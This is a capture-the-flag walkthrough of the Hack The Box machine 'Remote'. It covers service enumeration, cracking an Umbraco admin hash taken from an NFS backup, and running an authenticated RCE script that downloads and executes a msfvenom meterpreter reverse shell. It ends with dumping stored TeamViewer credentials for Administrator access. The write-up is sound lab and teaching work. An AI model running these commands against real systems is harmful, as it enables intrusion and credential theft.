Hack The Box: Remote

Jump Ahead: EnumUserRootResources


To solve this machine, we begin by enumerating open services – notably finding ports 21, 80, 445, 135, 139, and 2049. From the network share, we find a hashed password for admin@htb.local, which after cracking it, allows us to log into Umbraco on the webserver. With authenticated access to Umbraco, we can exploit a Remote Code Execution (RCE) vulnerability, allowing us to upload and run a reverse shell. Now we have user.txt. Looking at installed applications, we see TeamViewer is installed. Retrieving stored credentials, we now have gained access to the system as Administrator – getting root.txt.


Like all machines, we begin by enumerating services with nmap.

$ nmap -A -oA scans/nmap/tcp-scripts -p- --min-rate 3000

# Nmap 7.80 scan initiated Sun Apr 12 08:08:43 2020 as: nmap -A -oA scans/nmap/tcp-scripts -p- --min-rate 3000
Warning: giving up on port because retransmission cap hit (10).
Nmap scan report for
Host is up (0.049s latency).
Not shown: 64816 closed ports, 703 filtered ports
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 3m03s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-04-12T13:13:30
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 12 08:11:23 2020 -- 1 IP address (1 host up) scanned in 159.67 seconds

From our results, we notably find FTP, SMB, HTTP, and NFS services running. Next, we launch gobuster to look for directories and files we may potentially access.

$ gobuster dir -t 30 -u -w /opt/khaotic/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -o scans/web/gobuster-80-rmd.txt
/install (Status: 302)
/home (Status: 200)
/Install (Status: 302)
/Home (Status: 200)
/INSTALL (Status: 302)
/Intranet (Status: 200)
/People (Status: 200)
/Person (Status: 200)
/‎ (Status: 200)
/HOME (Status: 200)
/BLOG (Status: 200)
/About-Us (Status: 200)
/1111 (Status: 200)
/CONTACT (Status: 200)
/INTRANET (Status: 200)
/PRODUCTS (Status: 200)
/1117 (Status: 200)
/1118 (Status: 200)
/1116 (Status: 200)
/1148 (Status: 200)

$ gobuster dir -t 30 -u -w /opt/khaotic/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -o scans/web/gobuster-80-rmf.txt

Looking at FTP, we see that it allows anonymous authentication, however, SMB and RPC do not. Looking at the NFS exported shares, we see there is one (site_backups) that we are allowed to access.

$ showmount -e

Getting User

Looking around the webserver, we go to There, we see a map and a link that says “Go to back office and install forms”. Clicking the link, we are forwarded to

Doing some research on Umbraco, we learn “Umbraco is an open-source content management system platform for publishing content on the World Wide Web and intranets.” Typically with Content Management Systems (CMSs), we are able to get RCE or install a backdoor of some type, so we research this for Umbraco. Doing so, we learn that it is vulnerable to Authenticated RCE, and find a script to do it. Since we need credentials to access the CMS, we can mount the NFS share using mount.nfs to look for them.

$ sudo mount.nfs $RHOST:site_backups ./nfs-mount/ -w 

Next, we use grep to recursively search for credentials. Doing so, we initially got too many results, however, we did get a username. To narrow our results, we researched where Umbraco stored credentials, and retrieved password hashes from it.

Using hashcat, we are able to crack the hash to get a password for admin@htb.local.

$ hashcat -m100 <hash> wordlists/rockyou.txt

Using the credentials to log into the Umbraco interface, we can confirm they work. Next, we use the authenticated RCE script we previously found to find a writable directory, upload a reverse shell, and run the reverse shell.

$ python3 exploit.py -u admin@htb.local -p password -i http://$RHOST -c powershell.exe -a "ls C:/"

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=9999 -f exe > meter.exe

$ python3 exploit.py -u admin@htb.local -p password -i http://$RHOST -c powershell.exe -a "-NoP Invoke-WebRequest -Uri 'ht
tp://' -OutFile 'C:/ftp_transfer/meter.exe'"

$ python3 exploit.py -u admin@htb.local -p password -i http://$RHOST -c powershell.exe -a "ls C:/ftp_transfer"

$ python3 exploit.py -u admin@htb.local -p password -i http://$RHOST -c powershell.exe -a "C:/ftp_transfer/meter.exe"

Once we are on the machine, we browse around and find C:\Users\Public\user.txt.

Getting Root

Looking around C:\Program Files (x86), we see that TeamViewer is installed. Using Metasploit‘s post/windows/gather/credentials/teamviewer_passwords module, we are able to dump a password.

Using the password, we are able to gain access to the machine as administrator, and read root.txt.

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!